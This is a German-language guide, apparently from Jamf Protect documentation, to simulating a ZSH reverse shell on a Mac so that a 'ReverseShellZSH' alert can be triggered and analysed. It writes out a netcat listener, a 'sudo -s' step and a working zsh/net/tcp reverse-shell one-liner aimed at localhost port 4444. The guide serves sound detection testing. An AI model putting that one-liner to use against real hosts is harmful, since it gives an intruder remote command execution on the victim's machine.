Führen Sie die folgenden Schritte aus, um die ReverseShellZSH-Analyse zu testen.
Wenn Sie eine virtuelle Maschine verwenden, erstellen Sie einen Snapshot, zu dem Sie am Ende dieser Simulation zurückkehren können.
- Öffnen Sie Terminal und führen Sie den folgenden Befehl aus.
# start a netcat listener on local host port 4444 nc -l 4444 - Öffnen Sie ein weiteres Terminal Fenster und führen Sie den folgenden Befehl aus.
# verify that port 4444 is up sudo lsof -i -P | grep "4444" - Erstellen Sie im gleichen Terminal Fenster via ZSH eine Reverse Shell, die an Port 4444 eine Verbindung zurück zum lokalen Host erstellt. Führen Sie dazu die folgenden Befehle aus.
# Summon new shell sudo -s # Create reverse shell /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' & - Im Netcat Fenster sollte jetzt eine Reverse Shell zu sehen sein, die es Ihnen erlaubt, Befehle mit dem Netcat Listener einzugeben: whoami.Nach Abschluss der obigen Testschritte kann ein neuer Alarm mit dem Titel ReverseShellZSH innerhalb der Jamf Protect Cloud erwartet werden.
- Öffnen und überprüfen Sie den ReverseShellZSH-Alarm. Die interessantesten Datenpunkte bei der Analyse dieses Alarms sind:
Zusammenfassung > Prozessereignisdetails > Prozessargumente: Damit erhalten Sie die Ziel-IP-Adresse und den Port für die Fernverbindung sowie das Reverse-Shell-Argument.
Prozesse: Der Prozessbaum gibt Aufschluss darüber, wie die Reverse-Shell-Fernsitzung initiiert wurde.
In einem realen Szenario sollte die Untersuchung dieses Alarms damit beginnen, die Prozessargumente zu untersuchen, um das Ziel der Fernsitzung und das Programm, das auszuführen versucht wurde, zu identifizieren und zu ermitteln, wie genau der Reverse-Shell-Befehl ausgeführt wurde.
- Wenn vor dem Abschluss dieses Testszenarios ein Snapshot der virtuellen Maschine erstellt wurde, ist die einfachste Bereinigungsmethode, zum Snapshot zurückzukehren. Andernfalls führen Sie diese Befehle in Terminal aus, um die erstellten Testdateien zu entfernen.
# Close the netcat window by entering exit. exit